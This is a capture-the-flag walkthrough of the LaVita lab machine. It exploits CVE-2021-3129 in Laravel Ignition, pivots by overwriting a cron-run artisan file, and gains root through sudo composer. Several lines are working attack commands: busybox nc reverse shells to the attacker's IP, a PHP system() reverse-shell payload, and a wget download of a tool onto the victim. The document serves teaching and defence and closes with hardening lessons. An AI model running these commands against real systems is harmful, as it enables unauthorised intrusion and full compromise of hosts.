the_open_door
coffee
ESEN

LaVita

Proving Grounds PracticeMediumLinux192.168.149.38

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#laravel#ignition#cve-2021-3129#debug-mode#rce#pspy#cron#writable-artisan#sudo#composer#gtfobins#oscp
TL;DR. LaVita exposes a Laravel 8.4.0 app with debug mode on. Ignition drags the CVE-2021-3129, an unauthenticated RCE that lands us as www-data (Laravel Ignition (CVE-2021-3129)). pspy reveals a cron running php artisan as user skunk; the artisan file is writable by www-data, so we overwrite it with a reverse shell and pivot (cron over a writable script). skunk can run composer via passwordless sudo, and the GTFOBins trick gives us root (GTFOBins: sudo).

Recon

Initial scan

The reply TTL 61 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 61 = 64−3; a hint, not proof (it can be spoofed), confirmed by the service scan. Two open ports:

ping -c 1 192.168.149.38
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.149.38
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
nmap -p22,80 -sCV 192.168.149.38 -oN targetedScan
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.56 ((Debian))
|_http-title: W3.CSS Template

Web - TCP 80

A dirsearch on port 80 finds typical Laravel routes: /login, /register, /home (redirects to /login) and, above all, /_ignition/execute-solution, the Ignition debugger endpoint:

dirsearch -u http://192.168.149.38/ -t 200 --exclude-status=404,403,503
[11:25:18] 405 - /_ignition/execute-solution
[11:25:31] 302 - /home  ->  http://192.168.149.38/login
[11:25:32] 301 - /images
[11:25:34] 200 - /login
[11:25:41] 200 - /register
[11:25:41] 200 - /robots.txt
[11:25:48] 200 - /web.config

The app allows registration, so we create an account at /register:

LaVita registration form with a test user test/test@test.com

Once in, the panel is a "Dashboard Testing Area" with a telling detail: a button that turns on the application's own debug mode (APP_DEBUG), which defaults to [DISABLED]:

LaVita dashboard: Enable button, "for debugging purpose you can turn APP_DEBUG" in DISABLED state

We click Enable and APP_DEBUG flips to [ENABLED]. That is the switch that opens the door: the CVE we are after requires debug mode on, and the site itself hands it to us:

Dashboard with APP_DEBUG in ENABLED state after clicking Enable

With debug on, forcing a 404 shows the Ignition error screen, which reveals the framework version, Laravel 8.4.0:

Ignition error page revealing version Laravel 8.4.0

Laravel 8.4.0: vulnerability identification

A search by version links Laravel 8.4.x to CVE-2021-3129:

Search "Laravel 8.4.2 cve" pointing to CVE-2021-3129 (INCIBE, NVD)

Laravel <= 8.4.2 with Ignition < 2.5.2 and APP_DEBUG=true is vulnerable to CVE-2021-3129: the CVE page confirms it ("Ignition before 2.5.2... exploitable on sites using debug mode with Laravel before 8.4.2"). The /_ignition/execute-solution endpoint lets an unauthenticated attacker run arbitrary code:

INCIBE CVE-2021-3129 page: Ignition &lt;2.5.2, exploitable in debug mode with Laravel &lt;8.4.2

Searching for a PoC turns up knqyf263's exploit:

Search "CVE-2021-3129 poc" pointing to the knqyf263/CVE-2021-3129 repo

Exploitation

CVE-2021-3129: RCE in Ignition

The flaw lies in how Ignition processes the "solutions" it offers the developer: by tampering with Laravel's log file (log poisoning) and chaining a deserialization gadget (phpggc, monolog_rce) command execution is achieved (Laravel Ignition (CVE-2021-3129)). We use knqyf263's exploit, which automates the log poisoning and the solution trigger. First we prove the RCE by reading /etc/passwd:

git clone https://github.com/knqyf263/CVE-2021-3129
# In exploit.py: Exploit("http://192.168.149.38/", "cat /etc/passwd")
python3 exploit.py

CVE-2021-3129 exploit.py returns LaVita's /etc/passwd contents

[*] Try to use monolog_rce1 for exploitation.
[i] PHPGGC not found. Cloning it
[*] Result:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...

The exploit clones phpggc, builds the monolog_rce1 gadget and returns the victim's /etc/passwd: RCE is confirmed. With execution confirmed, we swap the command for a busybox reverse shell. We keep Penelope listening on 22:

penelope 22

Then we run the exploit again to fire it:

# In exploit.py: Exploit("http://192.168.149.38/", "busybox nc 192.168.45.238 22 -e bash")
python3 exploit.py

The exploit fires the reverse shell and Penelope catches the session as www-data

(Penelope)> listeners add -p 22
[+] Got reverse shell from debian~192.168.149.38-Linux-x86_64  Assigned SessionID <1>
[+] Shell upgraded successfully using /usr/bin/python3!
bash-5.1$ whoami
www-data

The shell runs as www-data.

Post-exploitation

Pivot to skunk: cron over a writable artisan

www-data lacks the user flag. We upload pspy (repo) to watch periodic processes without needing to read /etc/crontab (cron over a writable script). We serve it from Kali:

locate pspy64
cp /home/krmena/Downloads/pspy64 .
python3 -m http.server 8080

Kali locates pspy64, copies it and serves it over http.server 8080; the victim downloads it

$ locate pspy64
/home/krmena/Downloads/pspy64
/home/krmena/tools/pspy64
/home/krmena/vulnhub/symfonos3/exploits/pspy/pspy64
/machines/expressway/exploits/pspy64
/machines/late/content/pspy64
/machines/pandora/pspy64

Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
192.168.149.38 - - [29/Jan/2026 20:26:49] "GET /pspy64 HTTP/1.1" 200 -
wget http://192.168.45.238:8080/pspy64 && chmod +x pspy64
./pspy64
CMD: UID=1001  PID=16607  | /usr/bin/php /var/www/html/lavita/artisan clear:pictures
CMD: UID=1001  PID=16626  | rm -Rf /var/www/html/lavita/public/images/*

A cron runs php artisan as UID 1001. We check who that UID is and the artisan permissions:

id 1001
ls -l /var/www/html/lavita/artisan
uid=1001(skunk) gid=1001(skunk) groups=1001(skunk),27(sudo),33(www-data)
-rwxr-xr-x 1 www-data www-data 1686 Jan 29 17:05 /var/www/html/lavita/artisan

The key: artisan belongs to www-data, our current user, so we can rewrite it. The cron will run it as skunk. We leave an nc listening on 22:

nc -nlvp 22

We replace its contents with a PHP reverse shell and wait for the next cron cycle:

echo '<?php system("busybox nc 192.168.45.238 22 -e bash");?>' > /var/www/html/lavita/artisan

artisan is overwritten and the cron returns a shell as skunk

listening on [any] 22 ...
connect to [192.168.45.238] from (UNKNOWN) [192.168.149.38] 59954
whoami
skunk
skunk@debian:~$

On the next cron cycle the nc catches the connection and whoami returns skunk.

Local

cat local.txt && whoami && hostname && ip a

local.txt read as skunk on LaVita (debian)

764fe587c53452a51b1dc065d222a0a9
skunk

Privilege escalation

passwordless sudo composer

skunk (also a member of the sudo group) has a specific, passwordless sudo entry:

sudo -l

skunk's sudo -l: (root) NOPASSWD: /usr/bin/composer --working-dir=/var/www/html/lavita *

User skunk may run the following commands on debian:
    (ALL : ALL) ALL
    (root) NOPASSWD: /usr/bin/composer --working-dir=/var/www/html/lavita *

Besides the (ALL : ALL) ALL (which would ask for skunk's password, which we don't have), the passwordless line is the composer one. composer is in GTFOBins: it defines scripts in composer.json run through run-script:

composer GTFOBins: echo '{"scripts":{"x":"/bin/sh"}}' &gt; composer.json; composer run-script x

Since the allowed command points at --working-dir=/var/www/html/lavita and takes extra arguments (*), we drop a composer.json with a script that launches /bin/sh and invoke it via sudo (GTFOBins: sudo):

echo '{"scripts":{"x":"/bin/sh"}}' > /var/www/html/lavita/composer.json
sudo /usr/bin/composer --working-dir=/var/www/html/lavita run-script x

composer run-script under sudo opens a shell and whoami returns root

skunk@debian:~$ sudo /usr/bin/composer --working-dir=/var/www/html/lavita run-script x
Do not run Composer as root/super user! See https://getcomposer.org/root for details
Continue as root/super user [yes]? yes
> /bin/sh
# whoami
root

Composer warns it should not run as root and asks for confirmation; we answer yes and the x script starts /bin/sh as root.

Root

cat /root/proof.txt && whoami && ip a && hostname

proof.txt read as root on LaVita

dc8ec04b85c356de4e3c9b65438048ec
root

Attack chain

HTTP (80)  --  Laravel 8.4.0 with APP_DEBUG=true
        │  CVE-2021-3129: Ignition RCE (log poisoning + monolog_rce)
        ▼
www-data
        │  pspy: cron runs php artisan as skunk (UID 1001)
        │  artisan writable by www-data -> reverse shell
        ▼
skunk  (local.txt)  [sudo group]
        │  sudo NOPASSWD composer --working-dir -> run-script /bin/sh
        ▼
root  (proof.txt)

Lessons learned

  • APP_DEBUG=true in production is an open door. Ignition is a development tool; with debug mode on and a vulnerable version, CVE-2021-3129 turns the error page into an unauthenticated RCE. In production, APP_DEBUG must be false.
  • pspy sees what the user cannot read. With no access to /etc/crontab, pspy showed a cron running artisan as another user. Watching processes from below is as useful as reading config files.
  • A writable cron script is a direct pivot. That artisan was owned by www-data yet run as skunk was enough to jump between users. Files a cron executes must never be writable by a lower-privileged account.
  • sudo on composer (or any binary with scripts) is root. GTFOBins lists dozens of binaries that, under sudo, run arbitrary commands. A NOPASSWD entry on one of them is equivalent to handing over the root password.
Command cheatsheet 10 commands

Quick review